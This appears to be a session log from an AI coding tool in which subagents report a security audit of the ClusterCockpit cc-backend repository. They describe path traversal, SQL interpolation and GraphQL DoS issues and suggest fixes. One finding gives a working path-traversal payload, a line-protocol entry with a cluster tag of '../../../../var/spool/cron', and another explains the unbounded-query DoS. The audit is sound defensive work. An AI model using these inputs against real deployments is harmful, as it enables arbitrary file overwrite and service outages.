parameterized. These are identity attributes; for local accounts they are admin-set, but for OIDC/LDAP-provisioned users a username/project containing `\"` would break out (or corrupt the query). Severity is lower because it is self-scoped and the values are typically provisioned by trusted IdP/admin, but it is still raw interpolation of externally-sourced strings into SQL.\n\n**Fix:** Parameterize: build `sq.Eq{\"t.tag_scope\": scopeList}` for the scope `IN`, and `sq.Eq{\"job.project\": user.Projects}` (squirrel expands slices to placeholders) for the project subquery, matching the parameterized style already used at `tags.go:335` and in `jobQuery.go` `SecurityCheckWithUser`.\n\n---\n\n### Areas reviewed and found clean\n- `node.go`, `user.go`, `jobCreate.go`, `job.go`, `config.go`, `userConfig.go`: all DB access uses squirrel with `?` placeholders or `r.DB.Exec/Query` with bound args. The `fmt.Sprintf` hits in `job.go`/`jobCreate.go` are LRU cache keys, not SQL.\n- `jobQuery.go` `buildStringCondition`, `buildMetaJSONCondition`, `buildResourceJSONCondition`: JSON `jsonField` args are **hardcoded literals** (`\"jobName\"`, `\"hostname\"`) and all values are parameterized — safe.\n- `jobQuery.go:204,215,234` (`job_state`, `shared`, `array_job_id` inlined): values come from validated GraphQL enums / typed int, not free strings — acceptable.\n- `stats.go` `durationExpr`/threshold/bin/`sortBy2column`/`groupBy2column`: all interpolated values are server-side integers/timestamps or map-whitelisted column names — safe.\n- `dbConnection.go`, `migration.go` `fmt.Sprintf`: config-derived connection/DSN params, not user input.\n- `jobFind.go:299,310,335`: builds a frontend URL query string, not SQL.\n\n**Priority:** Finding 1 is the urgent one — unauthenticated-of-data, fully attacker-controlled, trivially exploitable arbitrary SQL by any logged-in user, verified working. Fix that first."}],"totalDurationMs":182368,"totalTokens":50616,"totalToolUseCount":20,"usage":{"input_tokens":2,"cache_creation_input_tokens":559,"cache_read_input_tokens":47100,"output_tokens":2955,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":559},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":2955,"cache_read_input_tokens":47100,"cache_creation_input_tokens":559,"cache_creation":{"ephemeral_5m_input_tokens":559,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":9,"searchCount":0,"bashCount":11,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"c993526e-5a3d-466b-bfd6-2d606120f3b4","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"8041bc42-bdaa-498f-b58d-aacba641c6a9","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01ATuXeY1ge8qk9pvMrpsR8V","type":"tool_result","content":[{"type":"text","text":"`RootDir` is trusted config; cluster/host are attacker-controlled. The root cause is confirmed and self-contained. I have enough to report. Let me do a final quick check on the JSON checkpoint loader (read side) to note the read-path traversal at startup is from local dirs (trusted), and confirm the write path is the real issue.\n\nI have completed the audit. Here are my findings.\n\n## Security Audit: File Handling / Path Traversal — cc-backend\n\n### SEVERE — Path traversal in metric-store checkpoint/WAL writes via unsanitized `cluster`/`host` tags\n\n**Root cause:** The metric ingestion path takes `cluster` and `host` directly from attacker-supplied InfluxDB line-protocol tags with no validation, stores them verbatim as keys in the in-memory level tree, and later uses them to build filesystem paths with `path.Join(RootDir, cluster, host)`. `path.Join` *cleans* `..` but does **not** confine to the root — `path.Join(\"/var/checkpoints\", \"../../../../etc\", \"cron.d\")` resolves to `/etc/cron.d` (verified empirically). The process then calls `os.MkdirAll` and `os.OpenFile(..., O_CREATE|O_WRONLY)` on that path.\n\n**Attacker input source (both unauthenticated and low-priv):**\n- `pkg/metricstore/lineprotocol.go:245-258` — `DecodeLine` reads `cluster=` / `hostname=`/`host=` tags into `cluster`, `host` with no checks (only the *measurement* name is whitelisted against `ms.Metrics`).\n- Reachable via NATS subscription (`ReceiveNats`, lineprotocol.go:45) — **no application-layer auth at all** (documented in CLAUDE.md).\n- Reachable via REST `POST /api/write` (`internal/api/metricstore.go:91`, route `internal/api/rest.go:133`) — requires a `RoleAPI` JWT, but the cluster name there comes from the line-protocol body tag, not the validated `?cluster=` default, so even an API user can target arbitrary paths.\n\n**Sink locations:**\n- `pkg/metricstore/walCheckpoint.go:247` — `hostDir := path.Join(Keys.Checkpoints.RootDir, msg.Cluster, msg.Node)` → `os.MkdirAll(hostDir, ...)` (line 210) + `os.OpenFile(path.Join(hostDir,\"current.wal\"), O_CREATE|O_APPEND|O_WRONLY)` (line 216).\n- `pkg/metricstore/walCheckpoint.go:749` — `hostDir := path.Join(dir, path.Join(selectors[i]...))` where `selectors` are the raw tree keys (`sel1,sel2` from `m.root.children` at lines 682-686) → binary snapshot `os.OpenFile(.../<ts>.bin.tmp, O_CREATE|O_WRONLY|O_TRUNC)` (walCheckpoint.go:782-785). `O_TRUNC` means an existing file at the traversed path is overwritten.\n- `pkg/metricstore/checkpoint.go:251` + `:347-352` — identical issue for the legacy `\"json\"` checkpoint format (`path.Join(dir, selectors...)` then `os.OpenFile(<ts>.json, O_CREATE|O_WRONLY|O_TRUNC)`).\n\n**Concrete exploit:** Publish to the configured NATS job/metric subject (or POST to `/api/write` with an API token) a line such as:\n```\ncpu_load,cluster=../../../../var/spool/cron,hostname=crontabs value=1 1700000000\n```\nOn the next WAL flush / checkpoint cycle the server creates `…/var/spool/cron/crontabs/current.wal` and `…/<ts>.bin` outside the checkpoint root, and `O_TRUNC` lets an attacker clobber arbitrary files writable by the service account. With a `host` like `x/../../etc` similar escapes apply. This is arbitrary file write (and directory creation) outside the intended checkpoint root, under the cc-backend service UID — potential for overwriting config/binaries/cron and thus code execution depending on deployment.\n\n**Why this is a real gap (not theoretical):** The repository already added `validatePathComponent()` (`internal/api/rest.go:209-216`, blocks `..`, `/`, `\\`) in the recent \"Fix issues after security audit\" commit and applied it to the `machine_state` handlers (rest.go:433-440, 485-491) which build `filepath.Join(MachineStateDir, cluster, host)`. The exact same class of input (cluster/host → path) on the metric-store ingestion path was **not** given the same treatment. The mitigation exists; it just wasn't applied here.\n\n**Suggested fix:** Validate `cluster`/`host` at ingestion in `DecodeLine` before they enter the tree and WAL message — reuse the same rule as `validatePathComponent` (reject empty, `..`, `/`, `\\`, and ideally restrict to an allowlist charset like `[A-Za-z0-9._-]`). Drop/skip the sample (and log) on violation, mirroring the existing measurement-name whitelist `continue`. Optionally also defense-in-depth at the sink: after `path.Join`, verify the result is still within `RootDir` (e.g. `strings.HasPrefix(filepath.Clean(hostDir)+sep, filepath.Clean(RootDir)+sep)`). Validating at ingestion is preferred since the same unsanitized strings also become tree keys used by the JSON and binary checkpoint writers.\n\n---\n\n### Areas reviewed and found clean\n\n- **`pkg/archive/fsBackend.go` (job archive writes/reads):** `getDirectory`/`getPath` (lines 55-75) build paths from `job.Cluster` + integer `JobID`/`StartTime`. The job-start/stop REST and NATS flows route through `importer.SanityChecks` (`internal/importer/initDB.go:260-263`), which rejects any `job.Cluster` not matching an exactly-named configured cluster via `archive.GetCluster` (clusterConfig.go:176-183, exact `==` compare). `JobID`/`StartTime` are numeric. No traversal reachable from API input.\n- **`LoadClusterCfg(name)` (fsBackend.go:478):** `name` comes only from `GetClusters()` (directory listing / trusted config), not API input.\n- **S3 backend (`pkg/archive/s3Backend.go`):** keys mirror `job.Cluster` (validated) and integer IDs; cluster discovery is from bucket listing (trusted). No user-controlled traversal.\n- **Parquet subpackage (`reader.go`, `writer.go`, `target.go`, `convert.go`):** `ReadFile`/`ListParquetFiles` operate on the trusted local archive directory during import/conversion, not on per-request API input. No zip/tar extraction or decompression-bomb surface (Parquet column readers are bounded by library; no untrusted archive unpacking).\n- **Checkpoint *read* paths** (`checkpoint.go:381-413`, walCheckpoint.go loaders): traverse the local checkpoint directory via `os.ReadDir` (trusted filesystem), not request input.\n- **`machine_state` REST handlers** (`internal/api/rest.go:424-498`): correctly guarded by `validatePathComponent` for both `cluster` and `host`.\n- **Deserialization:** JSON unmarshals into fixed typed structs (no `interface{}`/gob/dynamic type dispatch); job-data/meta optionally validated against JSON Schema. No unbounded-recursion or type-confusion path observed. (Note: line-protocol ingestion has no body-size limit, but that's a DoS concern out of scope for this traversal-focused review.)\n- **Symlinks:** no `os.Readlink`/symlink-following logic; `os.Create`/`O_CREATE` follow existing symlinks at the target, which compounds the traversal finding above but is not an independent issue.\n\n**Bottom line:** One severe finding — unvalidated `cluster`/`host` line-protocol tags flowing into checkpoint/WAL filesystem paths (`pkg/metricstore/lineprotocol.go` → `walCheckpoint.go:247,749` / `checkpoint.go:251,347`), giving arbitrary file write/overwrite outside the checkpoint root via NATS (unauthenticated) or `/api/write` (RoleAPI). The fix already exists in the codebase (`validatePathComponent`) and simply needs to be applied at metric ingestion. The job-archive, S3, and parquet paths are properly gated by exact cluster-name validation."},{"type":"text","text":"agentId: a13f7c9b2d753b569 (use SendMessage with to: 'a13f7c9b2d753b569' to continue this agent)\n<usage>subagent_tokens: 57349\ntool_uses: 33\nduration_ms: 186597</usage>"}]}]},"uuid":"e64a2cff-659f-459e-b591-7cfb989cea5e","timestamp":"2026-06-04T16:44:40.187Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: File handling, path traversal, archive, and checkpoint I/O. Files in pkg/archive/* (including parquet subpkg), internal/archiver/*, pkg/metricstore/* (checkpoint.go, walCheckpoint.go), and any config file loading.\n\nFocus on:\n- Path traversal: any place where user-controlled input (cluster name, hostname, job ID, file names from API/NATS/config) is used to build filesystem paths via filepath.Join or string concatenation without sanitization. A malicious cluster/host/jobid containing \"../\" could read/write outside the archive root.\n- Zip/tar/parquet extraction (zip-slip).\n- S3 backend key construction.\n- Unsafe deserialization (JSON into types, gob, etc.) leading to resource exhaustion or code paths.\n- Symlink following.\n- Decompression bombs.\n\nGrep for filepath.Join, os.Open, os.Create, os.ReadFile, os.MkdirAll, path building with cluster/host/job variables.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit input, and suggested fix. Trace whether the input is actually attacker-controllable (e.g. comes from API/NATS request vs trusted config). Report only real, code-backed findings; if clean, say so briefly.","agentId":"a13f7c9b2d753b569","agentType":"general-purpose","content":[{"type":"text","text":"`RootDir` is trusted config; cluster/host are attacker-controlled. The root cause is confirmed and self-contained. I have enough to report. Let me do a final quick check on the JSON checkpoint loader (read side) to note the read-path traversal at startup is from local dirs (trusted), and confirm the write path is the real issue.\n\nI have completed the audit. Here are my findings.\n\n## Security Audit: File Handling / Path Traversal — cc-backend\n\n### SEVERE — Path traversal in metric-store checkpoint/WAL writes via unsanitized `cluster`/`host` tags\n\n**Root cause:** The metric ingestion path takes `cluster` and `host` directly from attacker-supplied InfluxDB line-protocol tags with no validation, stores them verbatim as keys in the in-memory level tree, and later uses them to build filesystem paths with `path.Join(RootDir, cluster, host)`. `path.Join` *cleans* `..` but does **not** confine to the root — `path.Join(\"/var/checkpoints\", \"../../../../etc\", \"cron.d\")` resolves to `/etc/cron.d` (verified empirically). The process then calls `os.MkdirAll` and `os.OpenFile(..., O_CREATE|O_WRONLY)` on that path.\n\n**Attacker input source (both unauthenticated and low-priv):**\n- `pkg/metricstore/lineprotocol.go:245-258` — `DecodeLine` reads `cluster=` / `hostname=`/`host=` tags into `cluster`, `host` with no checks (only the *measurement* name is whitelisted against `ms.Metrics`).\n- Reachable via NATS subscription (`ReceiveNats`, lineprotocol.go:45) — **no application-layer auth at all** (documented in CLAUDE.md).\n- Reachable via REST `POST /api/write` (`internal/api/metricstore.go:91`, route `internal/api/rest.go:133`) — requires a `RoleAPI` JWT, but the cluster name there comes from the line-protocol body tag, not the validated `?cluster=` default, so even an API user can target arbitrary paths.\n\n**Sink locations:**\n- `pkg/metricstore/walCheckpoint.go:247` — `hostDir := path.Join(Keys.Checkpoints.RootDir, msg.Cluster, msg.Node)` → `os.MkdirAll(hostDir, ...)` (line 210) + `os.OpenFile(path.Join(hostDir,\"current.wal\"), O_CREATE|O_APPEND|O_WRONLY)` (line 216).\n- `pkg/metricstore/walCheckpoint.go:749` — `hostDir := path.Join(dir, path.Join(selectors[i]...))` where `selectors` are the raw tree keys (`sel1,sel2` from `m.root.children` at lines 682-686) → binary snapshot `os.OpenFile(.../<ts>.bin.tmp, O_CREATE|O_WRONLY|O_TRUNC)` (walCheckpoint.go:782-785). `O_TRUNC` means an existing file at the traversed path is overwritten.\n- `pkg/metricstore/checkpoint.go:251` + `:347-352` — identical issue for the legacy `\"json\"` checkpoint format (`path.Join(dir, selectors...)` then `os.OpenFile(<ts>.json, O_CREATE|O_WRONLY|O_TRUNC)`).\n\n**Concrete exploit:** Publish to the configured NATS job/metric subject (or POST to `/api/write` with an API token) a line such as:\n```\ncpu_load,cluster=../../../../var/spool/cron,hostname=crontabs value=1 1700000000\n```\nOn the next WAL flush / checkpoint cycle the server creates `…/var/spool/cron/crontabs/current.wal` and `…/<ts>.bin` outside the checkpoint root, and `O_TRUNC` lets an attacker clobber arbitrary files writable by the service account. With a `host` like `x/../../etc` similar escapes apply. This is arbitrary file write (and directory creation) outside the intended checkpoint root, under the cc-backend service UID — potential for overwriting config/binaries/cron and thus code execution depending on deployment.\n\n**Why this is a real gap (not theoretical):** The repository already added `validatePathComponent()` (`internal/api/rest.go:209-216`, blocks `..`, `/`, `\\`) in the recent \"Fix issues after security audit\" commit and applied it to the `machine_state` handlers (rest.go:433-440, 485-491) which build `filepath.Join(MachineStateDir, cluster, host)`. The exact same class of input (cluster/host → path) on the metric-store ingestion path was **not** given the same treatment. The mitigation exists; it just wasn't applied here.\n\n**Suggested fix:** Validate `cluster`/`host` at ingestion in `DecodeLine` before they enter the tree and WAL message — reuse the same rule as `validatePathComponent` (reject empty, `..`, `/`, `\\`, and ideally restrict to an allowlist charset like `[A-Za-z0-9._-]`). Drop/skip the sample (and log) on violation, mirroring the existing measurement-name whitelist `continue`. Optionally also defense-in-depth at the sink: after `path.Join`, verify the result is still within `RootDir` (e.g. `strings.HasPrefix(filepath.Clean(hostDir)+sep, filepath.Clean(RootDir)+sep)`). Validating at ingestion is preferred since the same unsanitized strings also become tree keys used by the JSON and binary checkpoint writers.\n\n---\n\n### Areas reviewed and found clean\n\n- **`pkg/archive/fsBackend.go` (job archive writes/reads):** `getDirectory`/`getPath` (lines 55-75) build paths from `job.Cluster` + integer `JobID`/`StartTime`. The job-start/stop REST and NATS flows route through `importer.SanityChecks` (`internal/importer/initDB.go:260-263`), which rejects any `job.Cluster` not matching an exactly-named configured cluster via `archive.GetCluster` (clusterConfig.go:176-183, exact `==` compare). `JobID`/`StartTime` are numeric. No traversal reachable from API input.\n- **`LoadClusterCfg(name)` (fsBackend.go:478):** `name` comes only from `GetClusters()` (directory listing / trusted config), not API input.\n- **S3 backend (`pkg/archive/s3Backend.go`):** keys mirror `job.Cluster` (validated) and integer IDs; cluster discovery is from bucket listing (trusted). No user-controlled traversal.\n- **Parquet subpackage (`reader.go`, `writer.go`, `target.go`, `convert.go`):** `ReadFile`/`ListParquetFiles` operate on the trusted local archive directory during import/conversion, not on per-request API input. No zip/tar extraction or decompression-bomb surface (Parquet column readers are bounded by library; no untrusted archive unpacking).\n- **Checkpoint *read* paths** (`checkpoint.go:381-413`, walCheckpoint.go loaders): traverse the local checkpoint directory via `os.ReadDir` (trusted filesystem), not request input.\n- **`machine_state` REST handlers** (`internal/api/rest.go:424-498`): correctly guarded by `validatePathComponent` for both `cluster` and `host`.\n- **Deserialization:** JSON unmarshals into fixed typed structs (no `interface{}`/gob/dynamic type dispatch); job-data/meta optionally validated against JSON Schema. No unbounded-recursion or type-confusion path observed. (Note: line-protocol ingestion has no body-size limit, but that's a DoS concern out of scope for this traversal-focused review.)\n- **Symlinks:** no `os.Readlink`/symlink-following logic; `os.Create`/`O_CREATE` follow existing symlinks at the target, which compounds the traversal finding above but is not an independent issue.\n\n**Bottom line:** One severe finding — unvalidated `cluster`/`host` line-protocol tags flowing into checkpoint/WAL filesystem paths (`pkg/metricstore/lineprotocol.go` → `walCheckpoint.go:247,749` / `checkpoint.go:251,347`), giving arbitrary file write/overwrite outside the checkpoint root via NATS (unauthenticated) or `/api/write` (RoleAPI). The fix already exists in the codebase (`validatePathComponent`) and simply needs to be applied at metric ingestion. The job-archive, S3, and parquet paths are properly gated by exact cluster-name validation."}],"totalDurationMs":186597,"totalTokens":57349,"totalToolUseCount":33,"usage":{"input_tokens":2,"cache_creation_input_tokens":759,"cache_read_input_tokens":53587,"output_tokens":3001,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":759},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":3001,"cache_read_input_tokens":53587,"cache_creation_input_tokens":759,"cache_creation":{"ephemeral_5m_input_tokens":759,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":16,"searchCount":0,"bashCount":17,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"8041bc42-bdaa-498f-b58d-aacba641c6a9","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"28c7de6a-9de8-4303-8580-74e68268659a","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01CaGTyFwK9VKFDnDqqgTQpT","type":"tool_result","content":[{"type":"text","text":"Note: `ItemsPerPage == -1` means \"load all\" (no limit), and there is no enforced upper bound. Also `uint64(page.Page)` with a negative Page would underflow, but that's authenticated and just produces a bad offset.\n\nI have enough to report. Let me summarize the findings.\n\n## Security Audit Results: GraphQL & NATS APIs\n\nI read the in-scope code (`internal/graph/schema.resolvers.go`, `util.go`, `stats_cache.go`, `internal/api/nats.go`, `internal/api/node.go`, the GraphQL server setup in `cmd/cc-backend/server.go`, and the repository authorization layer in `internal/repository/jobQuery.go` / `user.go`).\n\n### Authorization / IDOR (GraphQL) — Clean\nThe resolver layer is consistently authorized:\n- All job-data resolvers (`Job`, `JobMetrics`, `JobStats`, `ScopedJobStats`, `Jobs`, `JobsStatistics`, `JobsMetricStats`, `JobsFootprints`, `rooflineHeatmap`) funnel through `repository.SecurityCheck` / `SecurityCheckWithUser` (`internal/repository/jobQuery.go:146`), which restricts non-admin/support users to their own jobs (or project jobs for managers). `Job` additionally re-checks ownership at `schema.resolvers.go:491`. I traced the grouped-stats and histogram paths (`stats.go:245,353,441,502,566,764,830,971`) — all apply `SecurityCheck`.\n- `User` query and `UserData` job resolver go through `FetchUserInCtx` (`internal/repository/user.go:515`), which returns `\"forbidden\"` when a non-privileged user requests another user's record.\n- `NodeMetrics`, `NodeMetricsList`, `ClusterMetrics` explicitly require Admin/Support (`schema.resolvers.go:825,892,955`). Node state/topology resolvers (`Node`, `Nodes`, `NodeStates`) are unrestricted, but they return cluster-wide operational metadata, not user-owned metric data — consistent with the product design, not an IDOR.\n\nNo IDOR or missing-authorization findings.\n\n### Finding 1 — MEDIUM/HIGH: No GraphQL query complexity or depth limit (DoS)\n`cmd/cc-backend/server.go:89-92` constructs the gqlgen handler with only `transport.POST` and no `extension.FixedComplexityLimit` (nor any depth guard). Any authenticated low-privilege user can submit deeply nested / high-fan-out queries. Concretely:\n- `jobs(page: {itemsPerPage: -1})` bypasses the SQL `LIMIT` entirely (`internal/repository/jobQuery.go:78` — `-1` means \"load all\"), returning every job the user may see, and per returned job the client can also select expensive sub-resolvers (`metaData`, `footprint`, `concurrentJobs` → `FindConcurrentJobs`, and especially `metricData`/stats that hit the metric store). There is no upper bound on `itemsPerPage` for positive values either.\n- Combined with alias duplication (e.g. requesting `jobsStatistics` many times under different aliases) a single request can multiply backend work.\n\nExploit: a single valid user issues one POST that forces unbounded DB + metric-store load, exhausting CPU/memory/connection resources (server-side DoS).\n\nSuggested fix: register `graphQLServer.Use(extension.FixedComplexityLimit(N))` with per-field complexity weights in `gqlgen.yml` (high weights on `metricData`, `jobMetrics`, `concurrentJobs`, list resolvers), and enforce a maximum `ItemsPerPage` (reject or cap `-1` / very large values) in the `Jobs`/`NodeMetricsList` resolvers. A query-depth limit should also be added.\n\n### NATS (`internal/api/nats.go`) — Clean (aside from the already-documented lack of auth)\nI checked specifically for the non-auth issues you flagged:\n- Malformed line protocol: `handleJobEvent`/`handleNodeState` (lines 199-225, 492-518) check `len(data)==0`, and `receivers.DecodeInfluxMessage` (cc-lib v2.12.0) returns errors rather than panicking; all errors are handled and the loop returns/continues. `GetTag`/`GetEventValue` return `(value, ok)` and are checked — no unchecked type assertions, no nil derefs, no slice indexing on attacker data.\n- JSON payloads use `DisallowUnknownFields` and decode into typed structs; `handleStartJob` runs `importer.SanityChecks` (validates cluster against the known set, state validity, resources/user non-empty, non-negative counts) identical to the REST path.\n- Filesystem path injection: archive paths (`pkg/archive/fsBackend.go:55-73`) are built from `JobID` (int), `Cluster` (validated in SanityChecks), and `StartTime` (int) — not from `User` or other free-text fields, so no path traversal.\n- SQL: all writes go through squirrel parameterized builders.\n- Resource exhaustion via worker pools: `jobCh`/`nodeCh` are bounded buffered channels (`nats.go:100-101`) feeding a fixed worker count; backpressure blocks the NATS callback rather than spawning unbounded goroutines. Fine.\n- Integer overflow: `job.Duration = int32(req.StopTime - job.StartTime)` (`nats.go:354`) could theoretically overflow for an absurd `StopTime`, but it is guarded by `job.StartTime > req.StopTime` (line 340) and matches the REST behavior; not separately exploitable beyond the already-documented unauthenticated-publish risk.\n\nThe NATS handlers faithfully mirror the REST handlers' validation; no new severe input-validation/panic/injection issues beyond the previously-documented authentication gap.\n\n### Bottom line\nOne real finding worth acting on: the **missing GraphQL complexity/depth limit and unbounded `itemsPerPage`** (DoS reachable by any authenticated user), in `cmd/cc-backend/server.go:89` plus the page handling in `internal/repository/jobQuery.go:78`. Authorization/IDOR coverage in the resolvers is solid, and the NATS handlers are clean against the input-validation/panic/injection class."},{"type":"text","text":"agentId: a279208adc651f9a5 (use SendMessage with to: 'a279208adc651f9a5' to continue this agent)\n<usage>subagent_tokens: 69355\ntool_uses: 27\nduration_ms: 204925</usage>"}]}]},"uuid":"8c9be515-ca43-4f8e-a55f-13ae58290cba","timestamp":"2026-06-04T16:44:59.531Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: GraphQL API and NATS API.\n- GraphQL: internal/graph/*.go (schema.resolvers.go, util*.go), api/schema.graphqls. Focus on authorization within resolvers (does each resolver check the requesting user's role/ownership before returning data?), IDOR (querying other users' jobs/metrics), query depth/complexity limits (DoS), and whether sensitive fields are exposed.\n- NATS: internal/api/nats.go. The previous audit ALREADY documented that NATS is unauthenticated and added a startup warning + docs (do NOT re-report the lack of authentication itself). Instead look for OTHER issues: input validation on parsed line-protocol messages, panics from malformed input (unhandled type assertions, nil derefs, slice bounds), resource exhaustion via worker pools, injection via job fields that flow into SQL or filesystem paths, integer overflow.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","agentId":"a279208adc651f9a5","agentType":"general-purpose","content":[{"type":"text","text":"Note: `ItemsPerPage == -1` means \"load all\" (no limit), and there is no enforced upper bound. Also `uint64(page.Page)` with a negative Page would underflow, but that's authenticated and just produces a bad offset.\n\nI have enough to report. Let me summarize the findings.\n\n## Security Audit Results: GraphQL & NATS APIs\n\nI read the in-scope code (`internal/graph/schema.resolvers.go`, `util.go`, `stats_cache.go`, `internal/api/nats.go`, `internal/api/node.go`, the GraphQL server setup in `cmd/cc-backend/server.go`, and the repository authorization layer in `internal/repository/jobQuery.go` / `user.go`).\n\n### Authorization / IDOR (GraphQL) — Clean\nThe resolver layer is consistently authorized:\n- All job-data resolvers (`Job`, `JobMetrics`, `JobStats`, `ScopedJobStats`, `Jobs`, `JobsStatistics`, `JobsMetricStats`, `JobsFootprints`, `rooflineHeatmap`) funnel through `repository.SecurityCheck` / `SecurityCheckWithUser` (`internal/repository/jobQuery.go:146`), which restricts non-admin/support users to their own jobs (or project jobs for managers). `Job` additionally re-checks ownership at `schema.resolvers.go:491`. I traced the grouped-stats and histogram paths (`stats.go:245,353,441,502,566,764,830,971`) — all apply `SecurityCheck`.\n- `User` query and `UserData` job resolver go through `FetchUserInCtx` (`internal/repository/user.go:515`), which returns `\"forbidden\"` when a non-privileged user requests another user's record.\n- `NodeMetrics`, `NodeMetricsList`, `ClusterMetrics` explicitly require Admin/Support (`schema.resolvers.go:825,892,955`). Node state/topology resolvers (`Node`, `Nodes`, `NodeStates`) are unrestricted, but they return cluster-wide operational metadata, not user-owned metric data — consistent with the product design, not an IDOR.\n\nNo IDOR or missing-authorization findings.\n\n### Finding 1 — MEDIUM/HIGH: No GraphQL query complexity or depth limit (DoS)\n`cmd/cc-backend/server.go:89-92` constructs the gqlgen handler with only `transport.POST` and no `extension.FixedComplexityLimit` (nor any depth guard). Any authenticated low-privilege user can submit deeply nested / high-fan-out queries. Concretely:\n- `jobs(page: {itemsPerPage: -1})` bypasses the SQL `LIMIT` entirely (`internal/repository/jobQuery.go:78` — `-1` means \"load all\"), returning every job the user may see, and per returned job the client can also select expensive sub-resolvers (`metaData`, `footprint`, `concurrentJobs` → `FindConcurrentJobs`, and especially `metricData`/stats that hit the metric store). There is no upper bound on `itemsPerPage` for positive values either.\n- Combined with alias duplication (e.g. requesting `jobsStatistics` many times under different aliases) a single request can multiply backend work.\n\nExploit: a single valid user issues one POST that forces unbounded DB + metric-store load, exhausting CPU/memory/connection resources (server-side DoS).\n\nSuggested fix: register `graphQLServer.Use(extension.FixedComplexityLimit(N))` with per-field complexity weights in `gqlgen.yml` (high weights on `metricData`, `jobMetrics`, `concurrentJobs`, list resolvers), and enforce a maximum `ItemsPerPage` (reject or cap `-1` / very large values) in the `Jobs`/`NodeMetricsList` resolvers. A query-depth limit should also be added.\n\n### NATS (`internal/api/nats.go`) — Clean (aside from the already-documented lack of auth)\nI checked specifically for the non-auth issues you flagged:\n- Malformed line protocol: `handleJobEvent`/`handleNodeState` (lines 199-225, 492-518) check `len(data)==0`, and `receivers.DecodeInfluxMessage` (cc-lib v2.12.0) returns errors rather than panicking; all errors are handled and the loop returns/continues. `GetTag`/`GetEventValue` return `(value, ok)` and are checked — no unchecked type assertions, no nil derefs, no slice indexing on attacker data.\n- JSON payloads use `DisallowUnknownFields` and decode into typed structs; `handleStartJob` runs `importer.SanityChecks` (validates cluster against the known set, state validity, resources/user non-empty, non-negative counts) identical to the REST path.\n- Filesystem path injection: archive paths (`pkg/archive/fsBackend.go:55-73`) are built from `JobID` (int), `Cluster` (validated in SanityChecks), and `StartTime` (int) — not from `User` or other free-text fields, so no path traversal.\n- SQL: all writes go through squirrel parameterized builders.\n- Resource exhaustion via worker pools: `jobCh`/`nodeCh` are bounded buffered channels (`nats.go:100-101`) feeding a fixed worker count; backpressure blocks the NATS callback rather than spawning unbounded goroutines. Fine.\n- Integer overflow: `job.Duration = int32(req.StopTime - job.StartTime)` (`nats.go:354`) could theoretically overflow for an absurd `StopTime`, but it is guarded by `job.StartTime > req.StopTime` (line 340) and matches the REST behavior; not separately exploitable beyond the already-documented unauthenticated-publish risk.\n\nThe NATS handlers faithfully mirror the REST handlers' validation; no new severe input-validation/panic/injection issues beyond the previously-documented authentication gap.\n\n### Bottom line\nOne real finding worth acting on: the **missing GraphQL complexity/depth limit and unbounded `itemsPerPage`** (DoS reachable by any authenticated user), in `cmd/cc-backend/server.go:89` plus the page handling in `internal/repository/jobQuery.go:78`. Authorization/IDOR coverage in the resolvers is solid, and the NATS handlers are clean against the input-validation/panic/injection class."}],"totalDurationMs":204925,"totalTokens":69355,"totalToolUseCount":27,"usage":{"input_tokens":2,"cache_creation_input_tokens":421,"cache_read_input_tokens":66723,"output_tokens":2209,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":421},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":2209,"cache_read_input_tokens":66723,"cache_creation_input_tokens":421,"cache_creation":{"ephemeral_5m_input_tokens":421,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":12,"searchCount":0,"bashCount":15,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"28c7de6a-9de8-4303-8580-74e68268659a","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
